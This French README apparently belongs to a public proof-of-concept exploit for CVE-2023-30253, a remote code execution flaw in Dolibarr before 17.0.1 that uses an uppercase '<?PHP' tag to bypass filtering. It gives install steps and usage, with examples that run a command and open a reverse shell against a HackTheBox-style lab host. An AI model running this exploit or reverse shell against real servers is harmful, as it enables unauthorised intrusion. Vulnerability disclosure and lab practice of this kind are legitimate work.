rubikcuv5/cve-2023-30253Dolibarr avant 17.0.1 permet l'exécution de code à distance par un utilisateur authentifié via une manipulation en majuscules : <?PHP au lieu de <?php dans les données injectées.
Dolibarr avant 17.0.1 permet l'exécution de code à distance par un utilisateur authentifié via une manipulation de la casse : <?PHP au lieu de <?php dans les données injectées.
git clone https://github.com/Rubikcuv5/cve-2023-30253.git
pip3 install -r requirements.txt
python3 CVE-2023-30253.py -h
usage: CVE-2023-30253.py [-h] [--url URL] [-u USER] [-p PASSWORD] (-c COMMAND | -r ip port)
Analyseur d'arguments
options:
-h, --help afficher ce message d'aide et quitter
--url URL URL du site web
-u USER, --user USER Nom d'utilisateur
-p PASSWORD, --password PASSWORD
Mot de passe
-c COMMAND, --command COMMAND
Commande à exécuter
-r ip port, --reverseshell ip port
Adresse IP et port du reverse shell
python3 CVE-2023-30253.py --url http://crm.board.htb -u admin -p admin -c "ls -l"
python3 CVE-2023-30253.py --url http://crm.board.htb -u admin -p admin -r 10.10.14.17 4444
